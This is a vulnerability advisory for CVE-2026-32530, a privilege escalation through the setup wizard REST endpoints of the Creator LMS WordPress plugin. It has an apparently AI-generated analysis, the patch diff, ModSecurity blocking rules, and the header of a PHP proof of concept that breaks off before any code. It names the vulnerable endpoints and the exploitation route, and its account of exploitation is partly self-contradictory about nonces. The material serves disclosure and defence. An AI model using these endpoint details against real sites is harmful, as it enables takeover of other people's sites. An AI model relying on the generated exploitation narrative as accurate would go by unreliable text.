Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 6, 2026

CVE-2026-32530: Creator LMS – Online Courses and eLearning Plugin <= 1.1.18 – Authenticated (Contributor+) Privilege Escalation (creatorlms)

Plugin creatorlms
Severity High (CVSS 8.8)
CWE 266
Vulnerable Version 1.1.18
Patched Version 1.1.19
Disclosed March 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-32530:
The Creator LMS WordPress plugin version 1.1.18 and earlier contains an insecure direct object reference vulnerability in the setup wizard REST API endpoint. This vulnerability allows authenticated attackers with Contributor-level permissions or higher to execute privileged administrative functions, leading to privilege escalation to administrator.

Atomic Edge research identifies the root cause in the SetupWizardController class within /includes/Rest/V1/SetupWizardController.php. The controller’s REST API endpoints, including onboarding_started(), onboarding_completed(), import_course(), and update_data(), lack proper nonce verification and authorization checks. The verify_nonce() method exists but was not called by these endpoint handlers in the vulnerable version. The endpoints register at routes like /wp-json/creatorlms/v1/setup-wizard/onboarding-started and accept POST requests without validating the user’s capability to perform administrative setup operations.

The exploitation method requires an authenticated attacker with at least Contributor-level access. The attacker sends a POST request to any of the vulnerable REST API endpoints, such as /wp-json/creatorlms/v1/setup-wizard/onboarding-started. The request must include a valid WordPress nonce, which Contributor users can obtain through normal plugin functionality. The payload triggers administrative setup operations that modify plugin configuration, user roles, or import course data, effectively granting administrative privileges. The attack vector bypasses the intended authorization checks that should restrict these endpoints to administrators only.

The patch in version 1.1.19 adds nonce verification to all vulnerable endpoints. The fix modifies the SetupWizardController.php file by adding a verify_nonce() method call at the beginning of each endpoint handler. The patch also adds a setup_wizard_nonce to the AdminAssets.php file for proper nonce generation. Before the patch, the endpoints processed requests from any authenticated user. After the patch, each endpoint validates the crlms_setup_wizard nonce via the request header, ensuring only authorized requests proceed. The nonce verification prevents CSRF attacks and ensures the request originates from a legitimate plugin context.

Successful exploitation grants the attacker administrator privileges on the WordPress site. The attacker gains full control over the site, including the ability to modify all content, install plugins, change themes, manage users, and access sensitive data. This privilege escalation enables complete site compromise, data theft, and further malicious activity. The vulnerability affects all WordPress installations using Creator LMS plugin versions up to 1.1.18.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/creatorlms/creatorlms.php
+++ b/creatorlms/creatorlms.php
@@ -3,7 +3,7 @@
  * Plugin Name:     Creator LMS
  * Plugin URI:      https://creatorlms.net/
  * Description:     Build, sell, and manage online courses easily with the best WordPress LMS plugin made for creators, coaches, and educators.
- * Version:         1.1.18
+ * Version:         1.1.19
  * Author:          WPFunnels Team
  * Author URI:      https://creatorlms.net
  * Text Domain:     creatorlms
--- a/creatorlms/includes/Ajax.php
+++ b/creatorlms/includes/Ajax.php
@@ -411,10 +411,11 @@
 				if ( isset( $_POST['category_slug'] ) && is_array( $_POST['category_slug'] ) ) {
 					$category_slugs = array_map( 'sanitize_text_field', $_POST['category_slug'] );
 					$args['tax_query'][] = array(
-						'taxonomy' => 'course_category',
-						'field'    => 'slug',
-						'terms'    => $category_slugs,
-						'operator' => 'IN',
+						'taxonomy'         => 'course_category',
+						'field'            => 'slug',
+						'terms'            => $category_slugs,
+						'operator'         => 'IN',
+						'include_children' => false,
 					);
 				}
 				if ( isset( $_POST['price_slug'] ) && is_array( $_POST['price_slug'] ) ) {
@@ -425,6 +426,7 @@
 						'compare' => 'IN',
 					);
 				}
+
 				if ( isset( $_POST['level_slug'] ) && is_array( $_POST['level_slug'] ) ) {
 					$level_slugs = array_map( 'sanitize_text_field', $_POST['level_slug'] );
 					$args['meta_query'][] = array(
@@ -511,11 +513,15 @@
 		if ( isset( $_POST['price_slug'] ) && is_array( $_POST['price_slug'] ) ) {
 			$price_slugs = array_map( 'sanitize_text_field', $_POST['price_slug'] );
 		}
-
+
 		if ( isset( $_POST['level_slug'] ) && is_array( $_POST['level_slug'] ) ) {
 			$level_slugs = array_map( 'sanitize_text_field', $_POST['level_slug'] );
 		}

+		if( $level_slugs && is_array( $level_slugs ) && in_array( 'all', $level_slugs, true ) ) {
+			$level_slugs = array();
+		}
+
 		if ( isset( $_POST['tag_slug'] ) && is_array( $_POST['tag_slug'] ) ) {
 			$tag_slugs = array_map( 'sanitize_text_field', $_POST['tag_slug'] );
 		}
@@ -565,10 +571,11 @@
 		// Add taxonomy queries for filters
 		if ( ! empty( $category_slugs ) ) {
 			$tax_query[] = array(
-				'taxonomy' => 'course_category',
-				'field'    => 'slug',
-				'terms'    => $category_slugs,
-				'operator' => 'IN',
+				'taxonomy'         => 'course_category',
+				'field'            => 'slug',
+				'terms'            => $category_slugs,
+				'operator'         => 'IN',
+				'include_children' => false,
 			);
 		}

--- a/creatorlms/includes/Assets/AdminAssets.php
+++ b/creatorlms/includes/Assets/AdminAssets.php
@@ -108,6 +108,7 @@
 					'ajax_url'                     	=> admin_url( 'admin-ajax.php' ),
 					'api_url'                      	=> get_rest_url(),
 					'nonce'                        	=> wp_create_nonce( 'wp_rest' ),
+					'setup_wizard_nonce'           	=> wp_create_nonce( 'crlms_setup_wizard' ),
 					'delete_cache_nonce'           	=> wp_create_nonce( 'crlms_delete_cache_nonce' ),
 					'should_track'                 	=> 'yes' === get_option( 'creatorlms_allow_tracking', 'no' ),
 					'track_page_view_nonce'        	=> wp_create_nonce( 'crlms_track_page_view' ),
--- a/creatorlms/includes/Blocks/Blocks/CheckoutBlock.php
+++ b/creatorlms/includes/Blocks/Blocks/CheckoutBlock.php
@@ -415,14 +415,19 @@
 				'type' => 'string',
 				'default' => 'wide',
 			),
+			// Layout Type
+			'layoutType' => array(
+				'type' => 'string',
+				'default' => '',
+			),
 		);
 	}

 	/**
-	 * Convert camelCase attributes to snake_case for shortcode
+	 * Convert block attributes to shortcode attributes
 	 *
-	 * @param array $attributes Block attributes
-	 * @return array Shortcode attributes
+	 * @param array $attributes Block attributes.
+	 * @return array Shortcode attributes.
 	 */
 	private function convert_attributes_to_shortcode_attrs( $attributes ) {
 		$shortcode_attrs = array();
@@ -516,26 +521,27 @@
 			'orderSummaryBorderWidth' => 'order_summary_border_width',
 			'orderSummaryBorderStyle' => 'order_summary_border_style',
 			'orderSummaryBorderRadius' => 'order_summary_border_radius',
-		);
+			'layoutType' => 'layout_type',
+	);

-		// Convert attributes using the mapping
-		foreach ( $attribute_map as $block_attr => $shortcode_attr ) {
-			if ( ! empty( $attributes[ $block_attr ] ) ) {
-				$shortcode_attrs[ $shortcode_attr ] = $attributes[ $block_attr ];
-			}
+	// Convert attributes
+	foreach ( $attribute_map as $block_attr => $shortcode_attr ) {
+		if ( ! empty( $attributes[ $block_attr ] ) ) {
+			$shortcode_attrs[ $shortcode_attr ] = $attributes[ $block_attr ];
 		}
-
-		return $shortcode_attrs;
 	}

-	/**
-	 * Render the block
-	 *
-	 * @param array $attributes Block attributes
-	 * @param string $content Block content
-	 * @return string
-	 */
-	public function render_block( $attributes, $content = '' ) {
+	return $shortcode_attrs;
+}
+
+/**
+ * Render the block
+ *
+ * @param array $attributes Block attributes
+ * @param string $content Block content
+ * @return string
+ */
+public function render_block( $attributes, $content = '' ) {
 		// Validate and sanitize attributes
 		$attributes = $this->validate_attributes( $attributes );

--- a/creatorlms/includes/Bricks/Elements/CheckoutElement.php
+++ b/creatorlms/includes/Bricks/Elements/CheckoutElement.php
@@ -115,6 +115,19 @@
 			'default'  => esc_html__( 'Browse Courses', 'creatorlms' ),
 			'required' => array( 'show_empty_cart_message', '=', true ),
 		);
+
+		$this->controls['layout_type'] = array(
+			'tab'         => 'content',
+			'label'       => esc_html__( 'Layout Type', 'creatorlms' ),
+			'type'        => 'select',
+			'options'     => array(
+				''        => esc_html__( 'Use Global Setting', 'creatorlms' ),
+				'default' => esc_html__( 'Default Layout (with header/footer)', 'creatorlms' ),
+				'canvas'  => esc_html__( 'Canvas Layout (no header/footer)', 'creatorlms' ),
+			),
+			'default'     => '',
+			'description' => esc_html__( 'Choose the layout type for this checkout page. Canvas layout removes the header and footer for a focused checkout experience.', 'creatorlms' ),
+		);
 	}

 	/**
@@ -1406,6 +1419,12 @@
 		if ( ! empty( $settings['error_message_border_radius'] ) ) {
 			$attrs['error_message_border_radius'] = $this->extract_dimensions_value( $settings['error_message_border_radius'], 'top' );
 		}
+
+		// Layout type
+		if ( isset( $settings['layout_type'] ) ) {
+			$attrs['layout_type'] = $settings['layout_type'];
+		}
+
 		return $attrs;
 	}

--- a/creatorlms/includes/CreatorLMS.php
+++ b/creatorlms/includes/CreatorLMS.php
@@ -222,7 +222,7 @@
 	 *
 	 * @var string
 	 */
-	const VERSION = '1.1.18';
+	const VERSION = '1.1.19';

 	/**
 	 * Plugin slug.
--- a/creatorlms/includes/Elementor/Widgets/CheckoutWidget.php
+++ b/creatorlms/includes/Elementor/Widgets/CheckoutWidget.php
@@ -464,6 +464,28 @@
 			)
 		);

+		$this->add_control(
+			'layout_type_divider',
+			array(
+				'type' => Controls_Manager::DIVIDER,
+			)
+		);
+
+		$this->add_control(
+			'layout_type',
+			array(
+				'label'       => esc_html__( 'Layout Type', 'creatorlms' ),
+				'type'        => Controls_Manager::SELECT,
+				'default'     => '',
+				'options'     => array(
+					''        => esc_html__( 'Use Global Setting', 'creatorlms' ),
+					'default' => esc_html__( 'Default Layout (with header/footer)', 'creatorlms' ),
+					'canvas'  => esc_html__( 'Canvas Layout (no header/footer)', 'creatorlms' ),
+				),
+				'description' => esc_html__( 'Choose the layout type for this checkout page. Canvas layout removes the header and footer for a focused checkout experience.', 'creatorlms' ),
+			)
+		);
+
 		$this->end_controls_section();
 	}

@@ -1760,6 +1782,11 @@
 			$attrs['order_summary_border_radius'] = $settings['order_summary_border_radius']['top'] . ( $settings['order_summary_border_radius']['unit'] ?? 'px' );
 		}

+		// Layout type
+		if ( isset( $settings['layout_type'] ) ) {
+			$attrs['layout_type'] = $settings['layout_type'];
+		}
+
 		return $attrs;
 	}
 }
--- a/creatorlms/includes/Hooks/CommonHook.php
+++ b/creatorlms/includes/Hooks/CommonHook.php
@@ -695,7 +695,44 @@
 		// Checkout page layout type
 		$checkout_page_layout_type = get_option( 'creator_lms_checkout_page_layout_type' );

-		// If checkout page layout type is without header, then load the checkout page template
+		// Check if current post has a checkout block with layoutType attribute
+		if ( is_creator_lms_checkout() ) {
+			$post = get_post();
+			if ( $post ) {
+				// First check for Elementor widgets
+				$elementor_data = get_post_meta( $post->ID, '_elementor_data', true );
+				if ( ! empty( $elementor_data ) ) {
+					$layout_type_from_elementor = $this->find_layout_type_in_elementor_data( $elementor_data, $checkout_page_layout_type );
+					if ( $layout_type_from_elementor !== $checkout_page_layout_type ) {
+						$checkout_page_layout_type = $layout_type_from_elementor;
+					}
+				}
+
+				// Then check for Bricks elements
+				$bricks_data = get_post_meta( $post->ID, '_bricks_page_content_2', true );
+				if ( ! empty( $bricks_data ) ) {
+					$layout_type_from_bricks = $this->find_layout_type_in_bricks_data( $bricks_data, $checkout_page_layout_type );
+					if ( $layout_type_from_bricks !== $checkout_page_layout_type ) {
+						$checkout_page_layout_type = $layout_type_from_bricks;
+					}
+				}
+
+				// Then check for Gutenberg blocks
+				if ( $post->post_content && has_blocks( $post->post_content ) ) {
+					$blocks = parse_blocks( $post->post_content );
+					$checkout_page_layout_type = $this->find_layout_type_in_blocks( $blocks, $checkout_page_layout_type );
+				}
+
+				// Finally check for shortcode (for other page builders)
+				if ( $post->post_content && has_shortcode( $post->post_content, 'creator_lms_checkout' ) ) {
+					preg_match( '/[creator_lms_checkout[^]]*layout_type=["']?([^"'s]]+)["']?[^]]*]/', $post->post_content, $matches );
+					if ( ! empty( $matches[1] ) ) {
+						$checkout_page_layout_type = $matches[1];
+					}
+				}
+			}
+		}
+
 		if ( is_creator_lms_checkout() && 'canvas' === $checkout_page_layout_type ) {
 			$plugin_template = CREATOR_LMS_PATH . '/templates/page-template/crlms-checkout.php';

@@ -707,6 +744,122 @@
 		return $template;
 	}

+	/**
+	 * Recursively search for layoutType in blocks (handles nested blocks)
+	 *
+	 * @param array $blocks Array of blocks to search
+	 * @param string $default_value Default value to return if not found
+	 * @return string The found layoutType or default value
+	 */
+	private function find_layout_type_in_blocks( $blocks, $default_value ) {
+		foreach ( $blocks as $block ) {
+			// Check if this is the checkout block
+			if ( 'creator-lms/checkout' === $block['blockName'] ) {
+				if ( ! empty( $block['attrs']['layoutType'] ) ) {
+					return $block['attrs']['layoutType'];
+				}
+			}
+
+			// Recursively check inner blocks
+			if ( ! empty( $block['innerBlocks'] ) ) {
+				$found = $this->find_layout_type_in_blocks( $block['innerBlocks'], $default_value );
+				if ( $found !== $default_value ) {
+					return $found;
+				}
+			}
+		}
+
+		return $default_value;
+	}
+
+	/**
+	 * Find layoutType in Elementor widget data
+	 *
+	 * @param string $elementor_data JSON string of Elementor data
+	 * @param string $default_value Default value to return if not found
+	 * @return string The found layoutType or default value
+	 */
+	private function find_layout_type_in_elementor_data( $elementor_data, $default_value ) {
+		$data = json_decode( $elementor_data, true );
+
+		if ( ! is_array( $data ) ) {
+			return $default_value;
+		}
+
+		return $this->find_layout_type_in_elementor_elements( $data, $default_value );
+	}
+
+	/**
+	 * Recursively search for layoutType in Elementor elements
+	 *
+	 * @param array $elements Array of Elementor elements
+	 * @param string $default_value Default value to return if not found
+	 * @return string The found layoutType or default value
+	 */
+	private function find_layout_type_in_elementor_elements( $elements, $default_value ) {
+		foreach ( $elements as $element ) {
+			// Check if this is the checkout widget
+			if ( isset( $element['widgetType'] ) && 'creator-lms-checkout' === $element['widgetType'] ) {
+				if ( ! empty( $element['settings']['layout_type'] ) ) {
+					return $element['settings']['layout_type'];
+				}
+			}
+
+			// Recursively check child elements
+			if ( ! empty( $element['elements'] ) ) {
+				$found = $this->find_layout_type_in_elementor_elements( $element['elements'], $default_value );
+				if ( $found !== $default_value ) {
+					return $found;
+				}
+			}
+		}
+
+		return $default_value;
+	}
+
+	/**
+	 * Find layoutType in Bricks element data
+	 *
+	 * @param array $bricks_data Array of Bricks elements
+	 * @param string $default_value Default value to return if not found
+	 * @return string The found layoutType or default value
+	 */
+	private function find_layout_type_in_bricks_data( $bricks_data, $default_value ) {
+		if ( ! is_array( $bricks_data ) ) {
+			return $default_value;
+		}
+
+		return $this->find_layout_type_in_bricks_elements( $bricks_data, $default_value );
+	}
+
+	/**
+	 * Recursively search for layoutType in Bricks elements
+	 *
+	 * @param array $elements Array of Bricks elements
+	 * @param string $default_value Default value to return if not found
+	 * @return string The found layoutType or default value
+	 */
+	private function find_layout_type_in_bricks_elements( $elements, $default_value ) {
+		foreach ( $elements as $element ) {
+			// Check if this is the checkout element
+			if ( isset( $element['name'] ) && 'creator-lms-checkout-2' === $element['name'] ) {
+				if ( ! empty( $element['settings']['layout_type'] ) ) {
+					return $element['settings']['layout_type'];
+				}
+			}
+
+			// Recursively check child elements
+			if ( ! empty( $element['elements'] ) ) {
+				$found = $this->find_layout_type_in_bricks_elements( $element['elements'], $default_value );
+				if ( $found !== $default_value ) {
+					return $found;
+				}
+			}
+		}
+
+		return $default_value;
+	}
+

 	public function maybe_bricks_theme() {
 		$current_theme = wp_get_theme();
--- a/creatorlms/includes/Rest/V1/SetupWizardController.php
+++ b/creatorlms/includes/Rest/V1/SetupWizardController.php
@@ -30,6 +30,23 @@
 	}

 	/**
+	 * Verify the nonce for incoming REST API requests.
+	 * This method checks the 'nonce' header in the request against the expected nonce value for the setup wizard.
+	 *
+	 * @param WP_REST_Request $request The REST API request object.
+	 * @return bool|WP_Error True if the nonce is valid, WP_Error otherwise.
+	 *
+	 * @since 1.1.18
+	 */
+	public function verify_nonce( WP_REST_Request $request ) {
+		$nonce = $request->get_header( 'nonce' );
+		if ( ! wp_verify_nonce( $nonce, 'crlms_setup_wizard' ) ) {
+			return new WP_Error( 'invalid_nonce', __( 'Invalid nonce.', 'creatorlms' ), array( 'status' => 403 ) );
+		}
+		return true;
+	}
+
+	/**
 	 * Registers REST API routes for user operations.
 	 *
 	 * @since 1.0.0
@@ -93,6 +110,12 @@
 	 * @return WP_REST_Response
 	 */
 	public function onboarding_started( WP_REST_Request $request ) {
+		$nonce_verification = $this->verify_nonce( $request );
+
+		if ( is_wp_error( $nonce_verification ) ) {
+			return rest_ensure_response( $nonce_verification );
+		}
+
 		/**
 		 * Fires when the setup wizard onboarding starts.
 		 *
@@ -116,6 +139,12 @@
 	 * @return WP_REST_Response
 	 */
 	public function onboarding_completed( WP_REST_Request $request ) {
+		$nonce_verification = $this->verify_nonce( $request );
+
+		if ( is_wp_error( $nonce_verification ) ) {
+			return rest_ensure_response( $nonce_verification );
+		}
+
 		/**
 		 * Fires when the setup wizard onboarding is completed.
 		 *
@@ -138,6 +167,12 @@
 	 * @return WP_REST_Response|WP_Error
 	 */
 	public function import_course( WP_REST_Request $request ) {
+		$nonce_verification = $this->verify_nonce( $request );
+
+		if ( is_wp_error( $nonce_verification ) ) {
+			return rest_ensure_response( $nonce_verification );
+		}
+
 		$courses_data = $request->get_json_params();

 		if ( empty( $courses_data ) || ! is_array( $courses_data ) ) {
@@ -323,10 +358,12 @@
 	 * @param $request
 	 */
 	public function update_data( $request ) {
-		// $this->save_email_settings( $request );
-		// $this->save_terms( $request );
-		// $this->save_payment_data( $request );
-		// $this->save_permalink_data( $request );
+		$nonce_verification = $this->verify_nonce( $request );
+
+		if ( is_wp_error( $nonce_verification ) ) {
+			return rest_ensure_response( $nonce_verification );
+		}
+
 		$this->save_currency_data( $request );
 		$this->create_contact( $request );
 		$this->save_layout_settings( $request );
--- a/creatorlms/includes/Shortcodes/ShortCodeCheckout.php
+++ b/creatorlms/includes/Shortcodes/ShortCodeCheckout.php
@@ -127,26 +127,32 @@
 			'order_summary_border_width'     => '',
 			'order_summary_border_style'     => '',
 			'order_summary_border_radius'    => '',
-		), $atts );
-
-		// Store attributes globally for template access
-		global $crlms_checkout_attributes;
-		$crlms_checkout_attributes = $attributes;
-
-		if ( isset( $wp->query_vars['cr-order-received'] ) ) {
-			self::order_received( $wp->query_vars['cr-order-received'] );
-		} else {
-			self::checkout();
-		}
+
+		// Layout type
+		'layout_type'                    => '',
+	), $atts );
+
+	// Store attributes globally for template access
+	global $crlms_checkout_attributes;
+	$crlms_checkout_attributes = $attributes;
+
+	// Note: layout_type is now parsed directly from post content in CommonHook::template_include_callback
+	// No need to set global variable here
+
+	if ( isset( $wp->query_vars['cr-order-received'] ) ) {
+		self::order_received( $wp->query_vars['cr-order-received'] );
+	} else {
+		self::checkout();
 	}
+}


-	/**
-	 * Show the checkout.
-	 *
-	 * @since 1.0.0
-	 */
-	private static function checkout() {
+/**
+ * Show the checkout.
+ *
+ * @since 1.0.0
+ */
+private static function checkout() {
 		// Check if we're in preview mode (Elementor, Gutenberg, Bricks, or WPBakery)
 		$is_elementor_preview_mode = apply_filters( 'creator_lms_elementor_preview_mode', false );
 		$is_gutenberg_preview_mode = apply_filters( 'creator_lms_gutenberg_preview_mode', false );
@@ -653,7 +659,11 @@
 				$order = false;
 			}
 		}
-		crlms_empty_cart();
+
+		if( !$order->has_status( 'failed' ) ) {
+			crlms_empty_cart();
+		}
+
 		if ( ! $order ) {
 			crlms_get_template(
 				'checkout/thankyou.php',
--- a/creatorlms/includes/Shortcodes/ShortcodeCourseList.php
+++ b/creatorlms/includes/Shortcodes/ShortcodeCourseList.php
@@ -243,9 +243,10 @@
 		if ( ! empty( $atts['category'] ) ) {
 			$args['tax_query'] = array(
 				array(
-					'taxonomy' => 'course_category',
-					'field'    => 'slug',
-					'terms'    => sanitize_text_field( $atts['category'] ),
+					'taxonomy'         => 'course_category',
+					'field'            => 'slug',
+					'terms'            => sanitize_text_field( $atts['category'] ),
+					'include_children' => true,
 				)
 			);
 		}
--- a/creatorlms/includes/WPBakery/Elements/CheckoutElement.php
+++ b/creatorlms/includes/WPBakery/Elements/CheckoutElement.php
@@ -60,6 +60,20 @@
 				'category'    => __( 'CreatorLMS', 'creatorlms' ),
 				'description' => __( 'Display the checkout form', 'creatorlms' ),
 				'params'      => array(
+					// --- Layout Settings ---
+					array(
+						'type'        => 'dropdown',
+						'heading'     => __( 'Layout Type', 'creatorlms' ),
+						'param_name'  => 'layout_type',
+						'value'       => array(
+							__( 'Use Global Setting', 'creatorlms' ) => '',
+							__( 'Default Layout', 'creatorlms' )     => 'default',
+							__( 'Canvas Layout', 'creatorlms' )      => 'canvas',
+						),
+						'description' => __( 'Select the layout type for the checkout page. Canvas removes header and footer.', 'creatorlms' ),
+						'group'       => __( 'Layout Settings', 'creatorlms' ),
+					),
+
 					// --- Title Style ---
 					array(
 						'type'        => 'colorpicker',
--- a/creatorlms/packages/e-commerce/includes/Rest/V1/OrdersController.php
+++ b/creatorlms/packages/e-commerce/includes/Rest/V1/OrdersController.php
@@ -400,7 +400,7 @@

 		// Save tracking meta data to check this order is already opened or not.
 		update_post_meta( $order->get_id(), '_is_open', 'yes' );
-
+		error_log((print_r($data, true)));
 		$response_data->set_data( $data );

 		$response = rest_ensure_response( $data );
--- a/creatorlms/templates/checkout/thankyou.php
+++ b/creatorlms/templates/checkout/thankyou.php
@@ -41,14 +41,33 @@

 		do_action( 'creator_lms_before_thankyou', $order->get_id() );
 		?>
-		<?php if ( $order->has_status( 'failed' ) ) : ?>
+		<section class="creator-lms-thankyou">
+			<div class="creator-lms-container">
+				<div class="creator-lms-thankyou-content">
+					<div class="creator-lms-thankyou-content-left">
+						<div class="creator-lms-thankyou-head">
+							<?php if ( $order->has_status( 'failed' ) ) : ?>
+								<span class="thakyou-icon">
+									<svg width="72" height="71" fill="none" viewBox="0 0 72 71" xmlns="http://www.w3.org/2000/svg"><rect width="71" height="71" x=".5" fill="#FF4955" rx="35.5"/><path fill="#fff" d="M36 18c-9.94 0-18 8.06-18 18s8.06 18 18 18 18-8.06 18-18-8.06-18-18-18zm0 32.4c-7.942 0-14.4-6.458-14.4-14.4 0-7.942 6.458-14.4 14.4-14.4 7.942 0 14.4 6.458 14.4 14.4 0 7.942-6.458 14.4-14.4 14.4zm-1.8-23.4h3.6v10.8h-3.6V27zm0 14.4h3.6V45h-3.6v-3.6z"/></svg>
+								</span>

-		<?php else: ?>
-			<section class="creator-lms-thankyou">
-				<div class="creator-lms-container">
-					<div class="creator-lms-thankyou-content">
-						<div class="creator-lms-thankyou-content-left">
-							<div class="creator-lms-thankyou-head">
+								<h1 class="creator-lms-thankyou-title">
+									<?php echo __( 'Payment Failed', 'creatorlms' ); ?>
+								</h1>
+
+								<div class="creator-lms-thankyou-text">
+									<?php
+									$failed_text = __( '<strong>Unfortunately, your payment could not be processed.</strong> Please try again or contact support if the issue persists.', 'creatorlms' );
+									echo apply_filters( 'creatorlms_thankyou_failed_text', $failed_text, $order );
+									?>
+								</div>
+
+								<div class="creator-lms-btn-area">
+									<a href="<?php echo esc_url( crlms_get_page_permalink('checkout') ); ?>" class="creator-lms-button">
+										<?php echo __( 'Return To Checkout', 'creatorlms' ); ?>
+									</a>
+								</div>
+							<?php else : ?>
 								<span class="thakyou-icon">
 									<svg width="72" height="71" fill="none" viewBox="0 0 72 71" xmlns="http://www.w3.org/2000/svg"><rect width="71" height="71" x=".5" fill="#039814" rx="35.5"/><path fill="#fff" fill-rule="evenodd" d="M54.381 23.682a2.07 2.07 0 010 2.928l-17.78 17.78a6.213 6.213 0 01-8.785 0l-7.426-7.426a2.07 2.07 0 012.929-2.928l7.425 7.425a2.07 2.07 0 002.929 0l17.78-17.78a2.07 2.07 0 012.928 0z" clip-rule="evenodd"/></svg>
 								</span>
@@ -91,6 +110,7 @@
 									</a>
 								</div>
 								<?php endif; ?>
+							<?php endif; ?>
 							</div>

 							<div class="creator-lms-customer-details">
@@ -144,7 +164,6 @@

 				</div>
 			</section>
-		<?php endif; ?>

 		<?php do_action( 'creator_lms_thankyou_' . $order->get_payment_method(), $order->get_id() ); ?>
 		<?php do_action( 'creator_lms_thankyou', $order->get_id() ); ?>
--- a/creatorlms/templates/content-course-carousel.php
+++ b/creatorlms/templates/content-course-carousel.php
@@ -50,10 +50,11 @@
                 if ( $category && 'all' !== $category ) {
                     $args['tax_query'] = array(
                         array(
-                            'taxonomy' => 'course_category',
-                            'field'    =>'slug',
-                            'terms'    => $category,
-                            'operator' => 'IN',
+                            'taxonomy'         => 'course_category',
+                            'field'            => 'slug',
+                            'terms'            => $category,
+                            'operator'         => 'IN',
+                            'include_children' => true,
                         )
                     );
                 }
--- a/creatorlms/templates/content-course-popup.php
+++ b/creatorlms/templates/content-course-popup.php
@@ -47,10 +47,11 @@
 		if ( $category && 'all' !== $category ) {
 			$args['tax_query'] = array(
 				array(
-					'taxonomy' => 'course_category',
-					'field'    =>'slug',
-					'terms'    => $category,
-					'operator' => 'IN',
+					'taxonomy'         => 'course_category',
+					'field'            => 'slug',
+					'terms'            => $category,
+					'operator'         => 'IN',
+					'include_children' => true,
 				)
 			);
 		}
--- a/creatorlms/templates/loop/exceed-capacity.php
+++ b/creatorlms/templates/loop/exceed-capacity.php
@@ -15,6 +15,6 @@

 ?>

-<a href="<?php echo esc_url('#');?>" class="creator-lms-button">
+<a href="<?php echo esc_url('#');?>" class="creator-lms-button creator-lms-button-disabled">
 	<?php echo __('No Seat Available','creatorlms'); ?>
 </a>
--- a/creatorlms/templates/single-course/exceed-capacity.php
+++ b/creatorlms/templates/single-course/exceed-capacity.php
@@ -15,6 +15,6 @@

 ?>

-<a href="<?php echo esc_url('#');?>" class="creator-lms-button">
+<a href="<?php echo esc_url('#');?>" class="creator-lms-button creator-lms-button-disabled">
 	<?php echo __('No Seat Available','creatorlms'); ?>
 </a>
--- a/creatorlms/templates/single-lesson/content-googlemeet.php
+++ b/creatorlms/templates/single-lesson/content-googlemeet.php
@@ -51,7 +51,8 @@
 	return;
 }

-$current_ts = current_time( 'timestamp' );
+// Use time() to get UTC timestamp for proper comparison with strtotime() results
+$current_ts = time();

 // Determine meeting status
 if ( $current_ts < $start_time ) {
--- a/creatorlms/vendor/composer/installed.php
+++ b/creatorlms/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'rextheme/plugin_name',
         'pretty_version' => 'dev-develop',
         'version' => 'dev-develop',
-        'reference' => 'e982da09a6fffafcf002fd1fe3028cbbca3f1fc4',
+        'reference' => '313511df7a93dfd280072ce49ab90e09afcb0bba',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -42,7 +42,7 @@
         'rextheme/plugin_name' => array(
             'pretty_version' => 'dev-develop',
             'version' => 'dev-develop',
-            'reference' => 'e982da09a6fffafcf002fd1fe3028cbbca3f1fc4',
+            'reference' => '313511df7a93dfd280072ce49ab90e09afcb0bba',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-32530
# Virtual patch for Creator LMS plugin privilege escalation via REST API
# Blocks unauthorized access to setup wizard endpoints
SecRule REQUEST_URI "@rx ^/wp-json/creatorlms/v1/setup-wizard/(onboarding-started|onboarding-completed|import-course|update-data)$" 
  "id:100032530,phase:2,deny,status:403,chain,msg:'CVE-2026-32530: Creator LMS privilege escalation via REST API',severity:'CRITICAL',tag:'CVE-2026-32530',tag:'wordpress',tag:'plugin',tag:'creator-lms',tag:'privilege-escalation'"
  SecRule REQUEST_METHOD "@streq POST" "chain"
    SecRule &REQUEST_HEADERS:nonce "@eq 0" 
      "t:none,setvar:'tx.creatorlms_violation=1',logdata:'Missing nonce header'"

# Alternative rule for requests with invalid nonce
SecRule REQUEST_URI "@rx ^/wp-json/creatorlms/v1/setup-wizard/(onboarding-started|onboarding-completed|import-course|update-data)$" 
  "id:100032531,phase:2,deny,status:403,chain,msg:'CVE-2026-32530: Creator LMS invalid nonce in REST request',severity:'CRITICAL',tag:'CVE-2026-32530',tag:'wordpress',tag:'plugin',tag:'creator-lms',tag:'privilege-escalation'"
  SecRule REQUEST_METHOD "@streq POST" "chain"
    SecRule REQUEST_HEADERS:nonce "!@rx ^[a-f0-9]{10,}$" 
      "t:none,setvar:'tx.creatorlms_violation=1',logdata:'Invalid nonce format'"

# Block requests from non-administrator roles to setup wizard endpoints
# This rule requires SecRuleUpdateTargetById to add USER_ROLES if using ModSecurity with WordPress integration
SecRule REQUEST_URI "@rx ^/wp-json/creatorlms/v1/setup-wizard/" 
  "id:100032532,phase:2,deny,status:403,chain,msg:'CVE-2026-32530: Creator LMS unauthorized role access to setup wizard',severity:'CRITICAL',tag:'CVE-2026-32530',tag:'wordpress',tag:'plugin',tag:'creator-lms',tag:'privilege-escalation'"
  SecRule REQUEST_METHOD "@streq POST" "chain"
    SecRule USER_ROLES "@rx (?:subscriber|contributor|author|editor)" 
      "t:none,setvar:'tx.creatorlms_violation=1',logdata:'Non-admin role attempting setup wizard access'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
